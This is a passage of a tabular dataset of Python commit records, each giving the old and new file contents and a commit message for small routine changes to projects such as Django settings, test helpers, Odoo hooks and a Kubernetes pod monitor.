commit stringlengths 40 40 | old_file stringlengths 4 118 | new_file stringlengths 4 118 | old_contents stringlengths 0 2.94k | new_contents stringlengths 1 4.43k | subject stringlengths 15 444 | message stringlengths 16 3.45k | lang stringclasses 1
value | license stringclasses 13
values | repos stringlengths 5 43.2k | prompt stringlengths 17 4.58k | response stringlengths 1 4.43k | prompt_tagged stringlengths 58 4.62k | response_tagged stringlengths 1 4.43k | text stringlengths 132 7.29k | text_tagged stringlengths 173 7.33k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
eef1d6f2c19be042ae3e2e566eb4e0a7b7e71242 | _lib/wordpress_post_processor.py | _lib/wordpress_post_processor.py | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | Remove commented line we definitely will never need | Remove commented line we definitely will never need
| Python | cc0-1.0 | kurtw/cfgov-refresh,imuchnik/cfgov-refresh,imuchnik/cfgov-refresh,imuchnik/cfgov-refresh,kurtrwall/cfgov-refresh,kurtrwall/cfgov-refresh,imuchnik/cfgov-refresh,kurtrwall/cfgov-refresh,kurtw/cfgov-refresh,jimmynotjim/cfgov-refresh,kurtw/cfgov-refresh,jimmynotjim/cfgov-refresh,jimmynotjim/cfgov-refresh | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | <commit_before>import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads... | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content) ... | <commit_before>import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads... |
25e06c0f9bb44af3cdbda5e5d9632c85cb59f0df | mysite/mysite/settings_heroku.py | mysite/mysite/settings_heroku.py | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path.... | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
#DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path... | Remove pooling suggestion from Heroku doco | Remove pooling suggestion from Heroku doco
| Python | bsd-2-clause | shearichard/polls17 | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path.... | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
#DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path... | <commit_before>from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.d... | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
#DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path... | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path.... | <commit_before>from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.d... |
5b702de914f55ee936292576394b2ea06ad15680 | tests/utils.py | tests/utils.py | from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, **kwargs... | from __future__ import unicode_literals
import contextlib
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.compat import reverse
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, *... | Fix broken tests in django master | Fix broken tests in django master
| Python | mit | davesque/django-rest-framework-simplejwt,davesque/django-rest-framework-simplejwt | from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, **kwargs... | from __future__ import unicode_literals
import contextlib
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.compat import reverse
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, *... | <commit_before>from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, ... | from __future__ import unicode_literals
import contextlib
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.compat import reverse
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, *... | from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, **kwargs... | <commit_before>from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, ... |
230664f9bbeae88ef640758d150bc5691af23e42 | tests/utils.py | tests/utils.py | from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
process.start()
... | from contextlib import contextmanager
from multiprocessing import Process
from time import sleep
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
... | Address issue where process might not fully start | Address issue where process might not fully start
I've tried less than 0.1 seconds and it doesn't routinely pass. This
appears to pass all the time.
| Python | apache-2.0 | tswicegood/steinie,tswicegood/steinie | from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
process.start()
... | from contextlib import contextmanager
from multiprocessing import Process
from time import sleep
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
... | <commit_before>from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
proc... | from contextlib import contextmanager
from multiprocessing import Process
from time import sleep
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
... | from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
process.start()
... | <commit_before>from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
proc... |
9dd503c8d92518f9af4c599473626b98e56393e2 | typhon/tests/arts/test_arts.py | typhon/tests/arts/test_arts.py | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call.
... | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestARTS:
"""Testing the ARTS utility functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system... | Fix name and description of ARTS tests. | Fix name and description of ARTS tests. | Python | mit | atmtools/typhon,atmtools/typhon | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call.
... | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestARTS:
"""Testing the ARTS utility functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system... | <commit_before># -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ART... | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestARTS:
"""Testing the ARTS utility functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system... | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call.
... | <commit_before># -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ART... |
d8a85c42079ceda2be4ec8283c4163812529bcef | debug_toolbar_user_panel/views.py | debug_toolbar_user_panel/views.py | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | Remove horrible debug wrapper, oops. | Remove horrible debug wrapper, oops.
Signed-off-by: Chris Lamb <711c73f64afdce07b7e38039a96d2224209e9a6c@playfire.com>
| Python | bsd-3-clause | lamby/django-debug-toolbar-user-panel,playfire/django-debug-toolbar-user-panel,lamby/django-debug-toolbar-user-panel | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | <commit_before>from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import ... | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
d... | <commit_before>from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import ... |
49a675beba6898a26650a1ce38940268ee32f010 | sale_isolated_quotation/hooks.py | sale_isolated_quotation/hooks.py | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set i... | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from odoo import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set is_o... | Change openerp --> odoo in hook.py | Change openerp --> odoo in hook.py
| Python | agpl-3.0 | kittiu/sale-workflow,kittiu/sale-workflow | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set i... | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from odoo import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set is_o... | <commit_before># -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_orde... | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from odoo import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set is_o... | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set i... | <commit_before># -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_orde... |
1a6fa386de1c65edfdef695119b69dc124ac27fe | admin/common_auth/forms.py | admin/common_auth/forms.py | from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
... | from __future__ import absolute_import
from django import forms
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
label=u'Password',
wi... | Update common auth user registration form to show all potential Groups | Update common auth user registration form to show all potential Groups
| Python | apache-2.0 | erinspace/osf.io,HalcyonChimera/osf.io,aaxelb/osf.io,CenterForOpenScience/osf.io,pattisdr/osf.io,cslzchen/osf.io,brianjgeiger/osf.io,acshi/osf.io,HalcyonChimera/osf.io,brianjgeiger/osf.io,saradbowman/osf.io,Johnetordoff/osf.io,erinspace/osf.io,mfraezz/osf.io,felliott/osf.io,caseyrollins/osf.io,monikagrabowska/osf.io,hm... | from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
... | from __future__ import absolute_import
from django import forms
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
label=u'Password',
wi... | <commit_before>from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.Ch... | from __future__ import absolute_import
from django import forms
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
label=u'Password',
wi... | from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
... | <commit_before>from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.Ch... |
4d3753b7bd4ec37b7b8fde4eeab627bf96f8d12f | dduplicated/cli.py | dduplicated/cli.py | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
re... | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def get_paths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
r... | Update in outputs and fix spaces and names. | Update in outputs and fix spaces and names.
Signed-off-by: messiasthi <8562fc1efba9a3c99753c749fdfb1b6932b70fbf@gmail.com>
| Python | mit | messiasthi/dduplicated-cli | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
re... | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def get_paths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
r... | <commit_before># The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.ap... | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def get_paths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
r... | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
re... | <commit_before># The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.ap... |
469fdc0dfc756e68231eebd5ce40eb33e0fdd2f2 | fireplace/cards/gvg/rogue.py | fireplace/cards/gvg/rogue.py | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.controller.field... | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
# One-eyed Cheat
class GVG_025:
def OWN_MINION_SUMMON(self, player, minion):
if minion.race == Race.PIRATE and minion != self:
self.stealth = True
# Iron Sensei
class GVG_027:
def OWN_TURN_END(self):
... | Implement One-eyed Cheat, Iron Sensei and Trade Prince Gallywix | Implement One-eyed Cheat, Iron Sensei and Trade Prince Gallywix
| Python | agpl-3.0 | beheh/fireplace,oftc-ftw/fireplace,Meerkov/fireplace,NightKev/fireplace,smallnamespace/fireplace,jleclanche/fireplace,butozerca/fireplace,liujimj/fireplace,Ragowit/fireplace,liujimj/fireplace,smallnamespace/fireplace,amw2104/fireplace,amw2104/fireplace,Meerkov/fireplace,oftc-ftw/fireplace,butozerca/fireplace,Ragowit/fi... | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.controller.field... | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
# One-eyed Cheat
class GVG_025:
def OWN_MINION_SUMMON(self, player, minion):
if minion.race == Race.PIRATE and minion != self:
self.stealth = True
# Iron Sensei
class GVG_027:
def OWN_TURN_END(self):
... | <commit_before>from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.c... | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
# One-eyed Cheat
class GVG_025:
def OWN_MINION_SUMMON(self, player, minion):
if minion.race == Race.PIRATE and minion != self:
self.stealth = True
# Iron Sensei
class GVG_027:
def OWN_TURN_END(self):
... | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.controller.field... | <commit_before>from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.c... |
09618bd6cdef2025ea02a999a869c9c6a0560989 | mockserver/manager.py | mockserver/manager.py | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | Fix bug: file encoding is GBK on windows system. | Fix bug: file encoding is GBK on windows system.
| Python | apache-2.0 | IfengAutomation/mockserver,IfengAutomation/mockserver,IfengAutomation/mockserver | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | <commit_before>from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_... | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manage... | <commit_before>from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_... |
b7d16c4ae05d180327ae0b2ed020d64f91edf29e | boto/beanstalk/__init__.py | boto/beanstalk/__init__.py | # Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights ... | Add connect_to_region/region functions for beanstalk | Add connect_to_region/region functions for beanstalk
| Python | mit | cyclecomputing/boto,Timus1712/boto,campenberger/boto,rjschwei/boto,clouddocx/boto,shipci/boto,drbild/boto,appneta/boto,weka-io/boto,s0enke/boto,j-carl/boto,jamesls/boto,SaranyaKarthikeyan/boto,stevenbrichards/boto,jameslegg/boto,yangchaogit/boto,andresriancho/boto,trademob/boto,felix-d/boto,shaunbrady/boto,nexusz99/bot... | Add connect_to_region/region functions for beanstalk | # Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights ... | <commit_before><commit_msg>Add connect_to_region/region functions for beanstalk<commit_after> | # Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights ... | Add connect_to_region/region functions for beanstalk# Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without res... | <commit_before><commit_msg>Add connect_to_region/region functions for beanstalk<commit_after># Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Softwa... | |
eae7ea91cf3c9d2e72813d04536f113ac8fa4393 | ocular/__init__.py | ocular/__init__.py | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
... | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None, return_event=False):
w = watch.Watch()
for event in w.stream(k8s_api.list_namesp... | Add possibility to return the event object as well | Add possibility to return the event object as well
| Python | apache-2.0 | polyaxon/polyaxon,polyaxon/polyaxon,polyaxon/polyaxon | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
... | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None, return_event=False):
w = watch.Watch()
for event in w.stream(k8s_api.list_namesp... | <commit_before>import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced... | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None, return_event=False):
w = watch.Watch()
for event in w.stream(k8s_api.list_namesp... | import logging
from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced_pod,
... | <commit_before>import logging
